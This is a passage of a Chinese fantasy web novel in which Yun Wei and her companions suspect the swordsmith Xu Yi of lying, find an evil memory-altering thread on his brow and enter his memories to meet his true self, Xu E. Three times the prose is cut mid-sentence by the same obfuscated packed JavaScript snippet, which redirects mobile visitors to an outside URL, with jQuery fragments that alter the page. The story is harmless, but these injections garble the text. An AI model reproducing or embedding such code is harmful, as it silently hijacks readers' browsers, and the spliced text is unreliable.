“哦?”谢澜忱从齿间挤出一声轻嗤,目光扫向徐懿,带着毫不掩饰的讥讽,“徐庄主,这倒有趣了。方才那番兄弟情深,莫非是庄主闲来无事排演的一出好戏?”他心中冷嘲翻涌,只觉眼前这人虚伪得令人作呕。 云微的心亦是微微一沉。 没有双生子?难怪徐鄂从未提及过此人。 她面上依旧不动声色,只对徐福道:“你如何断言庄主并无兄弟?可有凭证?” 徐福急切地点头,声音带着悲怆:“有!姑娘,老朽能证明!庄主他十二岁那年,曾遭仇家余孽绑架!那次……那次凶险万分,歹徒的刀锋就砍在他左眉骨的位置!那伤口极深,后来虽然愈合,却留下了一道清晰的疤痕,位置、形状,和他后来口中描述的‘哥哥’徐鄂脸上的疤,一模一样!” “一派胡言。” 徐懿并未歇斯底里,只嘴角勾起一抹冷嘲:“我脸上从未有过疤痕。福伯,你年迈昏聩,记忆混乱了。我哥哥脸上的疤,是幼年为我挡刀所留,与我何干?”他向前一步,逼近云微身前,“云姑娘,你既见过我兄长,当知他沉稳木讷,与我性情截然不同!我们怎会是同一人?这老仆满口呓语,不足为信。” 不等云微回应,他竟又上前一步,伸出手,在少年骤然凌厉的目光和她微讶的注视下,一把抓住了她的手腕。 他手掌宽大,带着常年握兵器的厚茧,温度烫得有些灼人。 “你不信?好,你亲自来验。”徐懿语气冰冷,拉着云微的手就按向自己左眉骨,“你看,这里可有半分伤痕?可有半点不平?” 指腹下的眉骨线条清晰流畅,确无半分疤痕的凸起或凹陷,连旧伤的浅印也无,仿佛她指尖的触感就是唯一能证明他清白的凭据。 云微心中疑窦更深:福伯言之凿凿,徐懿却以行动自证无疤。 究竟是谁在说谎? “放手!”谢澜忱一步跨前,格开他抓着云微的手,力道不轻。 “此间人,一个疯癫妄想,一个老迈糊涂,俱不可信。这天底下难道只有他碧月山庄能锻剑修剑?跟我走,我带你找其他能工巧匠,不必在此与这些疯子纠缠。”他语气急促,带着显而易见的烦躁和对眼前混乱局面的极度不耐,只想立刻带云微离开这个是非之地。 “不,我不会走。” 少年身形一顿。 云微手腕微翻,抽回自己的手。 她素来不喜旁人触碰,尤其是这般带着强迫意味的拉扯,即便是谢澜忱,也不行。 她抬眼,睫毛在眼下投出一小片冷影,语气里没带半分商量:“无论他是徐鄂还是徐懿,是庄主还是臆想的影子。当年教我''强者当兼济''的人是真的,这份恩义也是真的。我若因疑惧袖手离去,岂非忘恩负义?” 谢澜忱侧过头看她,分明是想反驳:什么恩情道义?他就是个满口谎言的疯子,那老仆也神志不清,留在这里除了卷入无谓的麻烦,还能有什么? 可他终究没说。少年太了解她,她认定的事,九头牛也拉不回来。 他死死盯着云微看了片刻,眼神里翻涌着怒、急、无奈,诸般情绪搅在一处,末了,少年那紧绷的肩线几不可察地垮下了一丝,他猛地别开脸,腮帮子微微鼓着,咬牙切齿道:“好。你要留,便留。若非有那同生契绑着,你我性命牵在一处,我才不会应你。” 谢澜忱那句话分明是带着气的,却又掩不住那一丝不易察觉的在意。 他这会儿不定在心里把这碧月山庄翻来覆去骂了多少遍,却还是松了口。 他这性子,真是又别扭又可笑。 云微眼帘微垂,将那点对谢澜忱的腹诽压下,右手极轻地在袖外掸了掸,动作缓而静:“徐庄主,福伯。二位各执一词,真假难辨。为求真相,我有几问,望二位如实相告。” 她指尖起落间,将方才那点关于谢澜忱的心思也一并拂去,目光重新落回眼前的迷局上,眼神锐利,“福伯,你言庄主十二岁时左眉骨留疤。此疤位置、形状,与庄主所述‘兄长’徐鄂之疤完全相同。庄主伤愈之后,你可曾亲眼见过那疤痕?疤痕是何种模样?是刀疤,还是其他利器所致?持续了多久?后来又是如何消失的?” 福伯被问得一愣,随即努力回忆,急切道:“有!当年随行的护卫队长徐猛,还有接应的管事李忠都见过!那疤……是被一柄生锈的柴刀砍伤的!斜斜的一道,约莫一寸半长,皮肉翻卷,愈合后颜色深红。至于如何消失……”他困惑地摇头,“一年前,庄主曾被豹妖重伤,他把自己关在房里许久,再出来时,那疤……也就再也没见过了。” 一年前,豹妖重伤之后?疤痕消失得如此蹊跷,倒像是刻意遮掩。 云微的目光转向徐懿,带着审视:“徐庄主,你坚称脸上从未有过疤痕,徐鄂是你的兄长,脸上有疤,且与你性情迥异。那么,请问,”她的问题同样犀利,“你寻找仇人‘守株待兔’一年,可有任何线索?山庄上下,除福伯外,可还有人见过你这位‘兄长’?哪怕一次?”她顿了顿,补充道,“以及,你方才说我见过你兄长,当知他性情与你不同。在你眼中,你兄长徐鄂,究竟是何等样人?与我印象中沉稳寡言、醉心锻铸的徐鄂庄主,又有何异同?” “我……” 徐懿脸色微沉,嘴角习惯性挂着的笑意早已消失无踪,取而代之的是一种被逼到悬崖边的冷峻。 “哎呀,可算……可算爬上来了!这台阶是要人命啊!” 一个娇俏的声音传来,只见一个穿鹅黄衫子的少女扶着门框,正是南宫雅。 云微眉峰微蹙,阿雅怎么会来? 南宫雅抬眼看到室内剑拔弩张的气氛,愣了一下,随即指着徐福道,“先说好!是这老伯带我上来的!他说他是山下那家食肆的老板,知道一条上山的近路!我爬得慢,这才刚到。”她解释完,目光立刻被场中冷着脸的徐懿吸引。 南宫雅胆子奇大,竟直接几步走到徐懿面前,仰着头,毫不畏惧地迎着他冰冷审视的目光,脆生生地质问道:“呦,你说你有个哥哥是吧?那你证明给我们看啊,空口白牙谁不会说?”她眼珠一转,从腰间一个精致的小荷包里摸出个东西。 “我这个人,最擅长的就是毒啊蛊啊什么的。”她得意地晃了晃手中的小瓷瓶,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959765|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是‘真言蛊’,吃了它,一个时辰内,你说的每一个字都必须是真话,敢不敢吃?你要是真有个哥哥,问心无愧,吃了它证明给大家看。” 徐懿微微一怔,末了,他像是下定了决心,忽然低笑一声:“真言蛊?有趣。”他看也不看,竟真的接过南宫雅递来的瓷瓶。 云微眼底寒光一闪。 这世上哪有什么真言蛊?若真有此物,能逼得人吐露肺腑,各大仙门早该拼得头破血流去抢,便是天庭神官,怕也要偷偷下凡来寻。 毕竟,谁不想知道他人的软肋? 她眼角余光瞥见谢澜忱已悄然握紧孤鸿剑,少年指尖泛白,眸底戾气暗涌,显然也瞧出徐懿接瓶时那分故作坦荡下的松懈。 云微指尖微动,一道微弱气劲如蚊蚋过隙,无声飞出,正撞在徐懿后颈。 他拔开塞子的手停在半空,嘴角那抹嘲讽还未敛去,眼神已先一步涣散。 他喉间嗬了一声,似要怒斥,身子却已软得像摊烂泥,直挺挺向后倒去。 谢澜忱剑峰微收,眉梢挑了挑,语气里带着几分不易察觉的赞许:“你不是动容了吗?怎么下手比谁都快?”他方才已备好剑招,只待徐懿露出破绽便要动手,没料想云微竟比他更快。 动容?云微想了想,或许有过那么一瞬。 徐懿提他兄长时,她脑里闪过徐鄂抡锤锻剑的模样。 他于自己而言,亦师亦友,这份情分总不能当假的。 可眼下徐懿与福伯各执一词,真假还没辨清,她若因那点旧识就软了心肠,迟疑不定,才是真的蠢。 “情分再深,也经不住这许多疑点堆叠。”云微声音渐冷,“且不说福伯那番话凿凿有据,他从崖上纵身跃下,那般决绝,倒像是不把性命当回事。天底下哪有不怕死的人?这是第一桩可疑之处。” 她顿了顿,缓步走到徐懿面前,单膝蹲在他左侧,“我们一行明着要找徐鄂,他偏要装成不相干的过路人,半句不提自己是徐鄂的弟弟,碧月山庄的庄主。若非那两个侍卫暴露了他身份,他还要瞒到何时?既知我们的来意,却藏着身份试探,这是第二桩。” “再者,他为何要引我们走密道?若真是坦荡待客,正门大道足以容百人同行,何必寻那只能过两人的窄道?他既知我们为徐鄂而来,既是庄主,理当光明正大引我们入庄,偏要绕这蹊跷的弯子。” 南宫雅咋舌道:“这么说来,他从一开始就没安好心?人不可貌相啊……” 谢澜忱冷冷瞥了少女一眼,现在才后知后觉?徐懿那点把戏,从跳崖时就露了破绽。这般惺惺作态,无非是想引云微注意。这种装模作样的伪君子,比明晃晃的敌人更让人恶心。 “江湖伎俩,无非是借隔离分势,乱人阵脚。”她俯身,看着徐懿紧闭的眼,眉尖微蹙,似对这等手段不屑一顾,“莫说他如今被福伯戳穿,便是福伯什么也不说,单凭这些,我也断不会信他半分。” 徐鄂若在,断不会行此诡谲手段。 云微伸手拨开徐懿额前的乱发,指尖从他左眉骨缓缓划过。 此处肌肤光滑如镜,确无半分疤痕,连旧伤的浅印也寻不见。 正沉吟间,指尖忽然触到一处异样。 她借着窗棂透进的天光细看,竟是一根极细的透明丝线,贴在皮肉上,不仔细瞧根本发现不了。 云微指尖捻起那线轻轻一扯,丝线竟如活物般微微震颤。 她眸色沉了沉,这线是做什么用的?难不成徐懿脸上消失的疤,与这线有关? 18.徐鄂(一) “牵魂引!” 南宫雅凑近细看,俏脸失色,“这可是个邪物,据万毒谷残卷所载,能蚀人灵台,篡改记忆!” 谢澜忱眸光骤冷,接话道:“邪物害人,留之何用。一剑断了这鬼线,看他还能装疯卖傻到几时。” 福伯闻言,扑通跪倒,老泪纵横:“万万不可啊!求诸位仙长救救我家庄主!” “谢澜忱,先别动手。”云微断然否决,指尖松开丝线,徐懿紧蹙的眉头随之稍缓,“牵魂引既已深入灵台,与其魂魄共生,蛮力斩之,轻则灵智尽丧沦为痴傻,重则魂飞魄散。他若真是徐鄂……”云微目光落在徐懿的面容上,“当年锻室论道,他教我‘强者当兼济’,此恩此义,岂能坐视他受邪物操控,沉沦苦海而不救。” 何人施此阴毒手段?徐鄂为人光明磊落,虽树敌不少,但能用这等上古邪物,心思之歹毒狠辣,远超寻常仇家。 是冲着他碧月山庄的基业?还是他一身冠绝天下的锻剑之术? 不过,无论他是徐懿还是徐鄂,他都是目前唯一能修复“孤鸿剑”的人。 那柄伴她出生入死、承载她剑道意志的本命神兵,在诛杀覆海后几乎碎裂,她需要孤鸿剑重现锋芒,更需要一柄更强的利剑,助她在宗门大比中脱颖而出,斩断前尘,了结血仇。 南宫雅沉思片刻,自腰间精巧荷包里取出一枚琉璃小瓶,瓶中几点幽蓝微光如星尘流转:“硬来不行,那就‘潜入’观之吧。这是‘溯梦萤’,能引灵识入其记忆至深之境。我们可以去找他心结所在,或是那些被邪力抹除的关键,记忆深处必有痕迹!我们亲身入内,或可寻得线索,揪出幕后黑手!” 谢澜忱剑眉紧锁,眼中警惕大盛,“此等邪术,凶险莫测。若在其至深之境中被其所伤,我等灵识亦遭重创。为一个满口谎言、行止叵测之人,冒此奇险,值得?”他撇了撇嘴,“你最好别被那点旧情蒙了心窍。” 云微懒得与他多言,只道:“此物如何施为?” 她无法坐视其被邪物扭曲、于虚妄中沉沦。线索近在咫尺,若因畏险而退,非她云微所为, 况此行非只为他,亦为查明真相,揪出暗处施邪术之人,更是权衡利弊下的必然之举,仅此而已。 南宫雅见云微意决,不再迟疑:“施术不难,需我三人灵识相连,由我引‘溯梦萤’为舟,不过……我丑话说在前头!记忆幻境,一切皆由其主意识构架。我们进入后,千万不要激怒他,到时引其意识剧烈排斥,幻境崩塌,凶险立至!” 谢澜忱脸色阴沉:“麻烦。” 云微心下了然,记忆乃心象所生,极为主观。 “为保万全,倒不如以‘唯一’且‘稳固’之形入内。”云微目光扫过二人,“我既是他记忆中印象最深、亦最可能为唯一清晰锚点之人,那么进入后,你二人便需暂借‘我’之形貌。以此‘唯一’之象,最大限度安其魂魄,减其排斥。让他眼中,只有‘一个云微’来访,方不致引动混乱。” 这便是蒙蔽之法,非是欺骗,而是顺应其记忆规则,降低风险。 灵识相连,她自有办法让谢澜忱与南宫雅的气息收敛,依附于她这个主锚点,在徐鄂的认知里,他们不过是她带来的两道模糊影子或分神,而非三个独立个体。 “变作你的样子?”少年一听这话,白皙的耳根瞬间染上薄红,紧抿的唇线绷得死紧。 南宫雅也瞠目结舌,结结巴巴道:“啊?都……都变成你的样子?那进去后岂非乱作一团? “灵识相连,自可辨彼此。”云微语气平淡,瞥见谢澜忱眼中羞愤几乎要喷出火来,心中了然他的别扭,更知如何拿捏。 她侧身让出屋门,故意说道:“你若不从,此刻便可退出,留此护法。若同入,便需依计而行。”她顿了顿,目光如冷电般扫过他涨红的脸,话语清晰而锐利,“不要因你那点无谓之骄矜,误了大事,害人害己。” 她太了解谢澜忱的别扭,激将法有时比道理更管用。况且同生契在身,他若真在乎自身安危,便不会放任她独自冒险。 “你!” 谢澜忱被她一番话噎得气血翻涌。 退出?留她和南宫雅在那凶险幻境中?那岂不是……他死死瞪着云微清冷无波的脸,恨不能在那上面瞪出两个洞来。 他厌恶她那份固执的清高,却又无法真正忽视她的安危。这份同生共死的联系,似乎成了一条斩不断的孽缘。 此刻被她用“骄矜误事”的大帽子压下来,他竟找不到反驳的理由,只觉憋屈至极。 末了,少年从齿缝里挤出几个字,饱含切齿之恨:“便依你。但你记着,若敢在里面拿这副模样打趣我,我……” 他其实也没想好要怎样。 云微心中了然,谢澜忱虽嘴上强硬,实则同生契相连,他断不会真让她独自涉险。这番应下,虽憋屈,却也符合他口是心非的性子。 南宫雅见状,哪里还敢耽搁,连忙打开琉璃瓶,生怕这两人再吵起来耽误正事。 幽蓝“溯梦萤”光芒大盛,轻盈飞出,分别没入三人眉心,带来一丝冰凉沉坠之感。 “闭目守神,随我灵引!”南宫雅低喝一声,双手结印,神情肃穆。 云微阖眸,只觉眉心凉意扩散,意识被一股柔和却不容抗拒的力量牵引,向下沉坠。 她收敛心神,将意念集中于自身,同时通过灵识连接,引导谢澜忱与南宫雅的气息尽量内敛,依附于她这主灵识。 谢澜忱强忍不忿,闭目紧守灵台,努力压制着那股顶着她面容的别扭感,依循云微的引导收敛自身气息。 幽蓝光芒包裹三人,身影扭曲淡化,化作三道流辉,循着那根透明丝线,倏然没入徐懿眉心。 * 失重感褪去,脚踏实地。 云微睁开“眼”。 眼前并非碧月山庄的书房,而是一座极其宽阔宏大的锻造坊。 粗大的玄黑石柱支撑着高阔的穹顶,四壁被常年炉火熏得漆黑发亮。 几十座熔炉摆在那里,热浪灼人,精赤上身的汉子们肌肉虬结,汗水在古铜色的皮肤上流淌,反射着火光。 沉重的铁锤砸在通红的铁胚上,发出震耳欲聋、连绵不绝的“铿!铿!”巨响,溅起漫天金红火星, “这就是徐鄂记忆里的碧月山庄锻剑坊?”南宫雅的声音在云微身旁响起,带着毫不掩饰的新奇与惊叹,“天呐,好大!”她好奇地左右张望。 “哼,无趣。”谢澜忱的声音带着惯有的冷嘲,眼风却扫过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010595|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云微侧脸,见她盯着熔炉出神,嘴角抿得更紧。 她莫不是又在想那柄孤鸿剑? 云微未理会两人的交流,目光扫过四周环境。 此乃徐鄂记忆深处,眼前景象真实无比,一砖一瓦,一炉一火,甚至连空气中弥漫的铁腥味和汗味都纤毫毕现,令人身临其境。 她需尽快找到徐鄂,观察其言行,寻找牵魂引的线索或记忆扭曲的痕迹。 正思忖间,忽听“哗啦”一声巨响。 只见靠近工坊边缘一座堆放矿石的高架,因一根支撑木桩腐朽断裂,猛地倾斜坍塌,数百块拳头大的碎石如崩山般滚落,密密麻麻。 那几名工匠背对高架,只闻轰隆巨响,回头时早已吓得魂飞魄散,哪里还来得及躲闪。 云微瞳孔微缩,蓦见一道高大身影猛冲过去。 那人身着红色绸面短袍,腰间束着一块月牙玉佩,袍子前襟被他随手掖在腰侧,露出半截结实的小臂,下身是墨色扎腿长裤。 他速度极快,几步便冲到那几名工匠身前,右臂屈肘横过肩头,竟以肩臂胸膛硬生生迎了上去。 “庄主!” 待得尘埃落定,满地都是大小石块,下方死里逃生的工匠们惊魂未定,纷纷扑上前,声音带着后怕。 “庄主!您怎么样?” “快!快看看庄主有没有伤着!” 尘土稍散,徐鄂缓缓放下双臂,活动了一下筋骨,肩背处被尖锐的矿石棱角划破了几道口子,露出下面几道渗出血丝的红痕。 他却摆了摆手,咧嘴一笑,揉了揉右臂道:“无妨。皮糙肉厚,砸两下不妨事。昨日巡库房,这架子可曾报损?” 一个管事模样的中年人满脸愧色,扑通一声跪倒在地:“回庄主,小的……小的昨日疏忽了,只瞧见表面尚好,未曾细查内里虫蛀……小的该死!小的该死啊!” 徐鄂并未苛责,只沉声道:“起来。库房重地,关乎人命,一丝一毫马虎不得。今日若非及时发现,便是天大祸事。”他目光扫过惊魂未定的众人,最终落回管事身上,“罚你半月薪俸,带人将库内所有支架,彻!底!查验加固,不得再有半分疏漏。再有下次,严惩不贷。” “是!是!谢庄主开恩!谢庄主开恩!小的这就去办!这就去办!”管事如蒙大赦,连滚爬爬地带着人去了。 旁边一位须发皆白的老工匠看着徐鄂肩背上那几处破口和渗出的血丝,心疼不已:“庄主,您这伤……” 徐鄂大手一挥,浑不在意地打断了老工匠的关切,随手抓起搭在一旁石墩上的汗巾,胡乱擦了擦脸上和颈间的汗水,“都散了吧,该做什么做什么。” 众人齐声应诺,各自散去。 目睹此景,南宫雅忍不住惊叹:“他人这么好!为了救那些工匠,自己硬抗那么多石头!” 谢澜忱冷哼一声,未置可否,看向徐鄂背影的眼神中却少了几分最初的轻蔑。 徐鄂弯腰拾起地上的巨锤,正欲走回砧台,转身之际,目光恰好扫过入口,看到了静静立在那里的云微,以及她身后两道模糊不清的影子。 他眼中闪过一丝明显的惊讶,薄唇轻言: “好久不见。” “你的剑,近来可还顺手?” 19.反思 “除妖路过此地,听闻你锻剑之术又有精进,特来叨扰。”云微淡淡开口,目光落在徐鄂脸上。 她仔细打量着对方,视线尤其在他左眉骨那道寸许长、颜色略深的旧疤上停留了一瞬。 疤是真的。 眼前之人确系徐鄂无疑,他眉骨疤痕犹在,神态举止一如当年,那份沉稳厚重做不得假。 至于那牵魂引……云微心中快速思忖:福伯所见非虚,徐懿身上那消失的疤与凭空出现的“弟弟”,极可能皆因这邪物作祟。它扭曲了徐鄂自身认知,在他脑海中强行“创造”出了一个需要他保护的“徐懿”,甚至篡改了相关记忆痕迹。 此物阴毒,操控人心于无形。 当务之急,是稳住徐鄂,顺着他的轨迹寻找那邪力侵蚀的细微节点,或是幕后黑手不经意间留下的蛛丝马迹。 南宫雅好奇地凑近徐鄂,在他眼前使劲挥手。 对方却浑然不觉,目光只专注地落在云微身上,仿佛南宫雅和谢澜忱只是两团空气。 云微唇角几不可察地抿了一下,立刻传音给南宫雅:“阿雅,莫要胡闹。正事要紧,收敛心神。” 恰在此时,一名身材魁梧、护卫打扮的男人大步走来,双手捧着一柄通体乌沉的长剑,恭敬地递给徐鄂:“庄主,您的‘沉岳’。” 徐鄂对那护卫点点头,接过佩剑,随手挂在腰间。 他转向云微,语气沉稳道:“眼下我得去趟青石镇。前几日暴雨,冲垮了镇东头张寡妇家的屋顶,她带着两个小娃娃,孤儿寡母的,房子漏得没法住人了。得赶在下次雨前帮她把屋顶补上,顺道看看镇上还有无其他受损的人家。”提及需要帮助的孤儿寡母,他眼神里是自然而然流露的关切。 这便是她印象中的徐鄂,心怀苍生,行胜于言。她尚未开口,谢澜忱略带不耐的声音抢先一步响起:“你是不是想跟着去?” 云微没理他,目光平静地看着徐鄂,语气不疾不徐:“我刚好得闲,可否随你同去青石镇?或能帮上些忙。”她主动提出同行,既是观察之需,也符合她记忆中“除妖路过、前来叨扰”的身份设定。 此去青石镇,是徐鄂记忆中的重要行程,或许能接触到其日常行止,更易发现牵魂引影响下的蛛丝马迹,或那施术者的痕迹。 徐鄂闻言,眼中喜色更浓,爽朗一笑:“有你相助,事半功倍!你剑法卓绝,身手不凡,定能帮上大忙!”他显得十分高兴,随即道,“此去路不算近,我备了快马。你可会骑马?若是不便,我让人备车……” “我会骑马。”云微淡然接口。 当年在归云宗,父亲视她如无物,下山历练从不给予便利。那些偏僻村落,哪有什么灵兽车驾?唯有凡俗马匹可供驱策。 她第一次上马,被烈马掀翻在地,摔得尘土满面,臂上擦伤火辣辣地疼。 第二次,她死死攥住缰绳,任马儿如何尥蹶子也不松手,掌心被粗糙的缰绳磨出血泡。 第三次,她已能稳稳控住缰绳,策马在山道上疾驰,风声呼啸过耳,将身后那些或鄙夷或同情的目光远远甩开。 “好!”徐鄂眼中赞赏之色更浓,由衷赞道,“你果然爽利,不让须眉!”这份自立自强的气度,显然很合他心意。 他目光习惯性地扫过云微空荡荡的腰间,浓黑的剑眉微微一蹙,困惑更甚:“你的孤鸿剑呢?我记得你向来剑不离身,视若性命……莫非是出了什么变故?”他深知云微对剑道的执着,此事实在反常。 孤鸿剑?云微垂下眼。 她的孤鸿剑,此刻正寄于谢澜忱腰间。然此事说来话长,涉及堕魔、身死、残魂寄剑种种,非三言两语能道尽,更不便对着眼前人详谈。 谢澜忱……她与他宿敌多年,剑落他手,本应恨之入骨。 然此剑是父亲亲手赐予他,作为“赏赐”。夺剑非他本意,恨他抢剑不如恨那幕后操纵一切的元凶。 眼下,多想无益,专注眼前,重回归云宗,清算旧账,方是正途。 她沉默了片刻,仿佛只是略作停顿整理思绪,随即抬起头,目光清冽平静,声音不起波澜,听不出半分异样:“我的剑,如今暂不归我执掌了。” 徐鄂明显吃了一惊,他深深看了云微一眼,似乎想从她脸上找出答案。 但见她神色淡然,并无多言之意,他虽心中疑窦丛生,甚至隐隐感到一丝不安,却也识趣地未再追问。 他忽然对旁边一名护卫招了招手。护卫快步上前,徐鄂附耳低声吩咐了几句。护卫脸上露出一丝疑惑,但还是立刻领命而去。 云微听不清他们说什么,微微侧头,在识海中询问谢澜忱和南宫雅:“青石镇之行,你们是否要与我同去?若去,可与我同乘一骑。” 南宫雅立刻回应:“我不敢骑马……我留在这里吧,正好四处看看!”她说完,见旁边的谢澜忱还在盯着云微发愣,似乎在消化方才关于孤鸿剑的对话,便用胳膊肘使劲怼了他一下:“喂!你小子发什么呆!快表态啊!去不去?” 谢澜忱被怼得回过神来,不悦地瞪了南宫雅一眼,没说话。 云微想,他迟迟不语,看来是不想去。 少年脸色阴沉,心里早已翻了天。 云微回答孤鸿剑的事时,为什么顿了那么久?她是不是……很难过?毕竟她的孤鸿剑,此刻正悬于他的腰间。 这柄剑,是她十五岁初露锋芒时,独力斩杀黑蛟所得,是她剑道天才的见证,更是她曾经视为半身的存在。 如今,它却成了她堕魔身死的铁证,成了……宗主赐予他这个义子的“工具”。 她此刻平静地说出“剑不归我执掌”,内心是怎样的锥心之痛?她会不会……恨极了自己?少年只觉得腰间那柄孤鸿剑此刻重若千钧,压得他几乎喘不过气。 南宫雅将谢澜忱拽到一旁,见他仍望着云微与徐鄂说话的方向,压低了嗓子:“你小子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029065|175868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫不是还在想云微方才那副样子?” 谢澜忱没吭声,只抱臂冷着脸。 “你若还有半分良心,往后莫要再拿她残魂堕魔的事刺她,也别总跟她针锋相对!” 她顿了顿,忽然恶狠狠道:“要是再敢气她,我便往你饭里下断肠散,保管你三更死,绝不留到五更天!” 谢澜忱听着南宫雅的话,脸上红一阵白一阵,被人戳穿心事的狼狈几乎要从眼里溢出来。 他忽地想起自己故意提起归云宗,说起她如今残魂之躯时,云微眼底深处的冷冽……原以为那是对自己的恨意,可现在想来,那分明是痛。 自己那些带着刺的言语,竟像是在她早已鲜血淋漓的伤口上反复撒盐。 一股莫名的烦躁与涩然涌上心头,他忽然觉得,自己之前那些针锋相对的所作所为,竟显得……如此卑劣。 这时,那护卫已快步返回,手中捧着一把坚韧的硬木长弓和一个装满羽箭的箭筒。 徐鄂要弓箭做什么?云微心中微诧。 徐鄂接过弓箭,他并未多言,只是将长弓和箭筒径直抛向云微。 她下意识抬手,稳稳接住那沉甸甸的长弓和箭筒。 “青石镇靠山,前些日子暴雨,山路恐有落石,林子里也难免窜出些惊兽。带上这个,以防万一。”他拍了拍自己腰间的剑,眼神温和而坚定地看向云微,“放心,有我徐鄂在,定护你周全。只是多备一手,心里更踏实些。” 云微握紧手中长弓,垂下眼帘,浓密的睫毛遮住了眼底一闪而过的复杂情绪。 护我周全? 徐鄂不知她早已不是当年那个剑心纯粹之人。 她历经生死,满身荆棘,心之所系,唯有血刃仇敌,查清母亲当年离奇陨落的真相。 徐鄂见她低头不语,只当她或许想起孤鸿剑之事心情低落,体贴地没有追问,转而朗声道:“马匹都在山下马场,随我来,挑匹合心意的。”他抬手指了指,当先向山庄大门行去。 云微看了一眼身后顶着“自己”脸庞、神色各异的谢澜忱和南宫雅。 南宫雅对她眨了眨眼,示意自己会留下查探。 谢澜忱则抱着手臂,脸色依旧有些沉,不知在想什么。 看来此行,只能她独自随徐鄂去了。 她正欲跟上,衣袖却猛地被人从后面扯住。 云微回头,只见谢澜忱不知何时已快步凑了上来,此刻正紧紧攥着她的袖口,力道之大,连布料都绷紧了。 少年白皙的手指用力到指节发白,顶着她的面容,那双琥珀色的眸子却直直地、带着一种前所未有的固执。 “……我随你去。”他顿了顿,声音里没了平日的尖锐,反而带着一种别扭的沉闷,“留在这里顶着你的脸,更烦。” 他飞快地别开视线,仿佛在掩饰什么,给自己找了个蹩脚又别扭的理由。 谢澜忱这理由,找得可真是不高明。 20.刀疤脸 你当真要和我比?”云微开口,声音平静无波,听不出情绪。 她端坐于一匹神骏非凡的黑马上,身姿挺拔,一手稳稳攥着缰绳, 山风拂过,吹动她额前几缕碎发,更衬得她清冷坚毅。 身后,谢澜忱与她同乘一骑。少年双手紧紧抱在胸前,身体绷得笔直,眼眸里翻涌着显而易见的烦躁与别扭,死死盯着前方徐鄂宽阔的背影,仿佛要用目光在那红袍上烧出两个洞来。 徐鄂骑着一匹高大雄壮的赤红骏马,名唤“燎火”。 那马儿浑身肌肉虬结贲张,皮毛油亮,踏地沉稳有力,打着响鼻喷出灼热的白气。 徐鄂骑在马上,腰背挺直如标枪,姿态沉稳如山岳,与□□这匹桀骜不驯的烈马气势相合。 他勒马稍缓,与云微并行,笑道:“此去青石镇,路途虽不算极远,但多是盘桓山道。你我若只是策马并行,一路无话,未免有些沉闷乏味。倒不如你我比试一番脚力,看谁先到那青石镇入口的丈高界碑之处。”他抬手指向远处山道蜿蜒没入林荫的方向,许久未见你,今日正好让我的‘燎火’活动活动筋骨,领教一下你的骑术。” 云微清冷的眸光落在徐鄂脸上,并未立刻回答。 徐鄂提出比试,表面看是豪爽性情使然,或许也有借此机会观察她状态的心思? 毕竟方才在碧月山庄,她关于孤鸿剑下落含糊其辞的回答,必然引起了他的疑虑。 徐鄂见云微沉吟,以为她顾忌山路难行,目光落在她座下神骏的黑马身上:“你这匹‘逐月’是千里挑一的良驹,想必能与我这‘燎火’一较高下。”他言语间充满自信,似乎已笃定云微会应战。 一声毫不掩饰的嗤笑自云微身后响起,少年忍不住开口道:“好大的口气,也不怕风大闪了舌头。” 云微并未回头斥责谢澜忱,左右徐鄂也听不见他的话。 她见徐鄂眼神坦荡热切,确无试探或算计之意,纯粹是武者相惜的兴致,心中瞬间有了决断:风险可控,机会难得。 她对自己的骑术与应变能力有信心。即便有变,身后还有个同生共死的谢澜忱,虽别扭,但实力不容小觑。 探查徐鄂状态,弄清真相,此乃当前首要目标,些许风险,值得一冒。 她微微侧首,余光瞥见紧贴在她身后的谢澜忱。 他是在担心比试有诈?还是单纯不想输? 她转回头,迎上徐鄂期待的目光,冷声道:“既然你有此兴致,那便依你。” “好!山路崎岖,各自小心。”他话音未落,已猛地一夹马腹,口中发出一声短促有力的呼哨。 “燎火”发出一声长嘶,带起一股灼热的劲风,猛地窜了出去。 尘土飞扬,草屑四溅。 云微几乎在徐鄂动作的同时轻叱一声,手腕微抖缰绳。 无需更多催促,“逐月”四蹄腾空,紧随其后。 少年冷哼一声,紧接着便被这骤然加速带得身体不由自主前倾,鼻尖几乎撞上云微飞扬的发丝。 山道蜿蜒如蛇,在苍翠的密林中盘旋上升。 此时时值正午,日头正烈。 徐鄂显然对这条山路了如指掌,“燎火”在他的驾驭下,在狭窄崎岖、布满碎石和树根的险道上灵活穿梭,速度丝毫不减。 而“逐月”虽神骏非凡,但云微毕竟初来乍到,对路况生疏。 